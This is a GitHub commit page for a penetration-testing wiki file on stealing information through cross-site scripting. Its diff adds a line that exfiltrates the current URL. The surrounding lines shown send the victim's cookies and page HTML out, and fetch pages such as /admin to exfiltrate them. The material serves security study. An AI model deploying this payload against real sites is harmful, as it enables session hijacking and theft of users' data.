Skip to content

Commit

Permalink
GitBook: [#3056] No subject
Browse files Browse the repository at this point in the history
  • Loading branch information
carlospolop authored and gitbook-bot committed Mar 14, 2022
1 parent e159006 commit 5633c5d
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions pentesting-web/xss-cross-site-scripting/steal-info-js.md
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,7 @@ function exfil_internal_port(port){

// Info to exfiltrate
exfil_info("cookies", encode(document.cookie));
exfil_info("current_url", encode(document.URL));
exfil_info("current_content", encode(document.documentElement.innerHTML));
exfil_page_content("/");
exfil_page_content("/admin"); // If 404 nothing will be sent
Expand Down

0 comments on commit 5633c5d

Please sign in to comment.